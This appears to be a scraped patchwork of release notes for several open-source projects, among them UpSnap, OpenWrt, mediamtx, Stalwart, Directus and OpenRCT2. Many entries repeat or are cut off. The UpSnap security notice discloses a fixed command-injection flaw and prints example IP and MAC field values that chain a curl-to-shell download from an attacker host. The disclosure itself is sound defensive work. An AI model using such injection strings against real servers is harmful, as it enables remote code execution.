Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.
Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.
In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.
By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.
Note
If you have sucessfully completed the initial setup in the past you are not affected.
UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.
In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:
Log in
IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id
When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.
Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.
Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.
HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.
Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
orcpt.$ or { prefixes as secure secrets.acl-principal-prop-set REPORT enforced the wrong privilege.Thread/get did not filter by per-mailbox ACLs on shared accounts.UID FETCH N:* could miss messages moved into a SELECTed mailbox by another connection.v=spf1 a -all records for apex domains.TXT records when they exceed 255 characters.defaultCertificateId when renewing a certificate that is currently set as default.DNS-01 authorizations sequentially to avoid race conditions in some DNS providers.replace action adds an extra From header.
Release created in https://github.com/OpenRCT2/OpenRCT2/actions/runs/25987971355
SHA256 checksums:
61cd955dc5820787de844f7b523d56ff5329a908961c4fc48ce4a84584730fb7 ./OpenRCT2-v0.5.1-windows-installer-arm64.exe
4614029327c61247000d1a6a7a249b1e5fe93dfc841ad164e2905196b72aa098 ./OpenRCT2-v0.5.1-windows-portable-x64.zip
5681e8a7d6cf409381c35e6035a91638e39027757f77c5437957b3a9ab478444 ./OpenRCT2-v0.5.1-windows-symbols-arm64.zip
11a7accb196d9dd71e4b76ac50965841f9a0f1ad89866cd2b07a62c9e0ee218e ./OpenRCT2-v0.5.1-sha256sums.txt
16232c44ca0890b07679a7e37ad0e683e17826f61868ad6363f2fc192fd6f2fa ./OpenRCT2-v0.5.1-windows-symbols-win32.zip
287a8fa5944b71d41c5a0e77750a6f734eaeb27d9686420d585088d176e3c0b7 ./OpenRCT2-v0.5.1-android.apk
bebe142a2f0148d82c2a941f8d06fd5c12540c59479b8f26d170944ebce44475 ./OpenRCT2-v0.5.1-Linux-resolute-x86_64.tar.gz
91729c3804e165ab1dd1ca0875554970fc013aa8368fe2e41e3894f718eb83ca ./OpenRCT2-v0.5.1-windows-portable-arm64.zip
dfecc57d87b18ffb78780cac233bebe2eaa8ff1de7e915bfcdfe00e08dd02f2f ./OpenRCT2-v0.5.1-macos-universal.zip
a4e6450ec12db77fb4663afa1a393bb0d03a46e9c47b1d4b29a603cc8145b512 ./OpenRCT2-v0.5.1-linux-x86_64.AppImage
fdd1846a2f21062f5716204b8de9626892b87c95c6ebbb2f7385e49a150092d0 ./OpenRCT2-v0.5.1-windows-installer-win32.exe
8d0e1dc4fa2ed5ecc76fcaafdec8a198048a953cce90314590961dda53a04da2 ./OpenRCT2-v0.5.1-windows-symbols-x64.zip
6ba42ab9ffcd21ea10eb27880e6ed51bad1663e7e235203db2c4fc4bf73200c5 ./OpenRCT2-v0.5.1-windows-installer-x64.exe
226840077ff14851bc817ddb80bc8b0cf432f141481516e66bf5e05339143195 ./OpenRCT2-v0.5.1-Linux-trixie-x86_64.tar.gz
0976a7d610fa94f6a298133d0293d60f007d92d0cd7f2c971776636a27e2ac3c ./OpenRCT2-v0.5.1-windows-portable-win32.zip
a53e5a6ec08f792bcc488a04d465d4eb27bf87e25311e644700b14ea79be33d1 ./OpenRCT2-v0.5.1-Linux-noble-x86_64.tar.gz
05ed8d31e04c1f9cd17d5998442d12e4050a56b7f8225f3e5b66478408bad2cd ./OpenRCT2-v0.5.1-Linux-bookworm-x86_64.tar.gz
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
RTSP
RTMP
HLS
WebRTC
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
Hi,
The OpenWrt community is proud to announce the fourth service release of the OpenWrt 25.12 stable series.
Download firmware images using the OpenWrt Firmware Selector:
Download firmware images directly from our download servers:
Only the main changes are listed below. See the full changelog for details.
--dhcp-script).extract_addresses() on crafted resource records.kmod-ipsec / esp4/esp6 loaded. Fixed via the 6.12.87 kernel update.New devices supported in 25.12.4:
Device fixes:
tiny target to free ~800 KiB of flashbasic_rate mapping in the wpa_supplicant ucode generatorUpgrading from 24.10 to 25.12 should be transparent on most devices, as most configuration data has either remained the same or will be translated correctly on first boot by the package init scripts.
For upgrades within the OpenWrt 25.12 stable series, Attended Sysupgrade is also supported, which allows preserving the installed packages.
Sysupgrade from 23.05 or earlier to 25.12 is not officially supported.
Cron log level was fixed in busybox. system.@system[0].cronloglevel should be set to 7 for normal logging. 7 is the default now. If this option is not set, the default is used and no manual action is needed. fc0c518
Bananapi BPI-R4: Interface eth1 was renamed to sfp-lan or lan4, and interface eth2 was renamed to sfp-wan to match the labels. You have to upgrade without saving the configuration. cd8dcfe
TP-Link RE355 v1, RE450 v1 and RE450 v2: The partition layout and block size changed in this release to fix configuration loss on sysupgrade. Users upgrading from OpenWrt 25.12.0 or earlier must use sysupgrade -F to force the upgrade. The image must not exceed 5.875 MB (6016 KiB).
Meraki MX60: Direct sysupgrade to 25.12.4 is not possible without manual preparation — meraki_loadaddr must be changed before upgrading, as the default value is insufficient to boot OpenWrt 25.12+. See the device wiki page for instructions.
eth1 to wan — check and update your network configuration after upgrading.cake_mq): throughput may be unexpectedly low on some configurations after the scheduler fixes in this release. #22344Full release notes and upgrade instructions are available at
https://openwrt.org/releases/25.12/notes-25.12.4
In particular, make sure to read the known issues before upgrading:
https://openwrt.org/releases/25.12/notes-25.12.4#known_issues
For a detailed list of all changes, refer to
https://openwrt.org/releases/25.12/changelog-25.12.4
To download the 25.12.4 images, navigate to:
https://downloads.openwrt.org/releases/25.12.4/targets/
Use OpenWrt Firmware Selector to download:
https://firmware-selector.openwrt.org?version=25.12.4
As always, a big thank you goes to all our active package maintainers, testers, documenters and supporters.
Have fun!
The OpenWrt Community
To stay informed of new OpenWrt releases and security advisories, there
are new channels available:
a low-volume mailing list for important announcements:
https://lists.openwrt.org/mailman/listinfo/openwrt-announce
a dedicated "announcements" section in the forum:
https://forum.openwrt.org/c/announcements/14
other announcement channels (such as RSS feeds) might be added in the
future, they will be listed at https://openwrt.org/contact
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
is_ip_in_cidr expression function for CIDR matching.mail-auth to 0.9 (which bumps hickory-resolver to 0.26).hickory.null values fails.Failed instead of Error when the query returns no results.EAFNOSUPPORT error..well-known endpoints.RCPT before rewriting.dns-update crate):
MX and SRV records.subname for apex records instead of @, which the API rejects.TXT record content in double quotes (RFC 1035) to suppress dashboard warnings.calcard crate):
STATUS:CANCELLED mapping from VTODO to JSCalendar.PT0S.
Note
If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.
The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.
Full Changelog: 3.1.1...3.1.2
Windows Installer
Windows No Installer (zip)
macOS - Universal
Linux - deb, AppImage or rpm
Windows intel x32 releases are marked -ia32-
ChangeLog:
auto adaptive colours (matching web based draw.io); upgrades preserve simple. Change via Extras → Configuration.
Miscellaneous bug fixes, mostly surrounding the SeaBIOS storage driver code.
Full Changelog: 3.1.0...3.1.1
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
AccountSettings object return invalidProperties.mail-parser panic with certain messages containing corrupted attachments.RCPT on checks.AddressBook/query fetches wrong resources.%EMAILADDRESS% when no email address is provided.
Hi,
The OpenWrt community is proud to announce the third service release of the OpenWrt 25.12 stable series.
Download firmware images using the OpenWrt Firmware Selector:
Download firmware images directly from our download servers:
Only the main changes are listed below. See the full changelog for details.
New devices supported in 25.12.3:
Device fixes:
erp_domain and fils_cache_id values generated by the ucode-based config script (#21768)bridge_isolate and network_vlan fields to the ucode schema (#22620)iface and other fields to the ucode station/vlan schema (#22165)set_fixed_freq-u option (skip default configuration) which was broken with apk-f (custom backup) when the path contains spacesDISKSEQ instead of MAJOR/MINOR for stable disk identification (MAJOR/MINOR are not sequential)devpath option for selecting cellular modems by USB device pathkmod-vsock and kmod-vsock-virtio for VM guests (vsock communication)Upgrading from 24.10 to 25.12 should be transparent on most devices, as most configuration data has either remained the same or will be translated correctly on first boot by the package init scripts.
For upgrades within the OpenWrt 25.12 stable series, Attended Sysupgrade is also supported, which allows preserving the installed packages.
Sysupgrade from 23.05 or earlier to 25.12 is not officially supported.
Cron log level was fixed in busybox. system.@system[0].cronloglevel should be set to 7 for normal logging. 7 is the default now. If this option is not set, the default is used and no manual action is needed. fc0c518
Bananapi BPI-R4: Interface eth1 was renamed to sfp-lan or lan4, and interface eth2 was renamed to sfp-wan to match the labels. You have to upgrade without saving the configuration. cd8dcfe
TP-Link RE355 v1, RE450 v1 and RE450 v2: The partition layout and block size changed in this release to fix configuration loss on sysupgrade. Users upgrading from OpenWrt 25.12.0 or earlier must use sysupgrade -F to force the upgrade. The image must not exceed 5.875 MB (6016 KiB).
Meraki MX60: Direct sysupgrade to 25.12.3 is not possible without manual preparation — meraki_loadaddr must be changed before upgrading, as the default value is insufficient to boot OpenWrt 25.12+. See the device wiki page for instructions.
eth1 to wan — check and update your network configuration after upgrading.cake_mq): throughput may be unexpectedly low on some configurations after the scheduler fixes in this release. #22344Full release notes and upgrade instructions are available at
https://openwrt.org/releases/25.12/notes-25.12.3
In particular, make sure to read the known issues before upgrading:
https://openwrt.org/releases/25.12/notes-25.12.3#known_issues
For a detailed list of all changes, refer to
https://openwrt.org/releases/25.12/changelog-25.12.3
To download the 25.12.3 images, navigate to:
https://downloads.openwrt.org/releases/25.12.3/targets/
Use OpenWrt Firmware Selector to download:
https://firmware-selector.openwrt.org?version=25.12.3
As always, a big thank you goes to all our active package maintainers, testers, documenters and supporters.
Have fun!
The OpenWrt Community
To stay informed of new OpenWrt releases and security advisories, there
are new channels available:
a low-volume mailing list for important announcements:
https://lists.openwrt.org/mailman/listinfo/openwrt-announce
a dedicated "announcements" section in the forum:
https://forum.openwrt.org/c/announcements/14
other announcement channels (such as RSS feeds) might be added in
the future, they will be listed at https://openwrt.org/contact
$PIR table is now synthesized from ACPI _PRT/_PRS and handed to SeaBIOS so legacy OSes can get non-ACPI PCI IRQ routing.Set Power State (off/reboot) now trampolines through the helper core into UEFI's ResetSystem runtime service. Previously these calls were no-ops.csmwrap.ini options (system_thread, cpu_allowlist, cpu_blocklist) let you pin the BIOS proxy helper core to a specific APIC ID and hide arbitrary APs.Full Changelog: 3.0.1...3.1.0
If you are upgrading from v0.16.x, replace the binary (or run docker pull). If you are upgrading from v0.15.x and below, please read the upgrading documentation for more information on how to upgrade from previous versions.
STALWART_HTTPS_PORT with STALWART_PUBLIC_URL.app_ instead of app to avoid issues with some clients that do not support spaces in passwords.INFO.
@directus/schema-builder dependency (#27166 by @ComfortablyCoding)VERSION_SAVE activity/revisions not respecting collection tracking settings (#27096 by @yogeshwaran-c)/ in name (#27114 by @costajohnt)directus_access junction collection (#27152 by @yogeshwaran-c)useShortcut attempting to access document before available (#27155 by @ComfortablyCoding)@directus/app@15.10.0@directus/api@35.2.0@directus/composables@11.4.1create-directus-extension@11.0.36@directus/env@5.8.0@directus/extensions@3.0.25@directus/extensions-registry@3.0.26@directus/extensions-sdk@17.1.4@directus/memory@3.1.8@directus/pressure@3.0.22@directus/schema-builder@0.0.20@directus/storage-driver-azure@12.0.22@directus/storage-driver-cloudinary@12.0.22@directus/storage-driver-gcs@12.0.22@directus/storage-driver-s3@12.1.8@directus/storage-driver-supabase@3.0.22@directus/themes@1.3.3@directus/types@15.0.3@directus/utils@13.4.1@directus/validation@2.0.23@directus/visual-editing@2.0.1@directus/sdk@21.3.0@directus/sandbox@0.0.0
General
HLS
WebRTC
RPI Camera
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
HLS
General
API
RTSP
HLS
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
RTSP
RTMP
WebRTC
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
WebRTC
API
General
API
RTSP
HLS
WebRTC
Dependencies
Binaries are compiled from source code by the Release workflow, which is a fully-visible process that prevents any change or external interference in produced artifacts.
Checksums of binaries are also published in a public blockchain by using GitHub Attestations, and they can be verified by running:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
HLS
Dependencies
Binaries are compiled from source code by the Release workflow without human intervention.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
API
RTMP
HLS
WebRTC
SRT
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow without human intervention.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
RTSP
RPI Camera
Dependencies
Binaries are compiled from source code by the Release workflow without human intervention.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
API
WebRTC
General
API
RTSP
HLS
WebRTC
RPI Camera
Dependencies
Binaries are compiled from source through the Release workflow without human intervention, preventing any external interference.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
RTSP
SRT
Dependencies
Binaries are compiled from source through the Release workflow without human intervention, preventing any external interference.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
General
API
RTSP
RTMP
Dependencies
Binaries are compiled from source through the Release workflow without human intervention, preventing any external interference.
You can verify that binaries have been produced by the workflow by using GitHub Attestations:
ls mediamtx_* | xargs -L1 gh attestation verify --repo bluenviron/mediamtx
You can verify checksums of binaries by downloading checksums.sha256 and running:
cat checksums.sha256 | grep "$(ls mediamtx_*)" | sha256sum --check
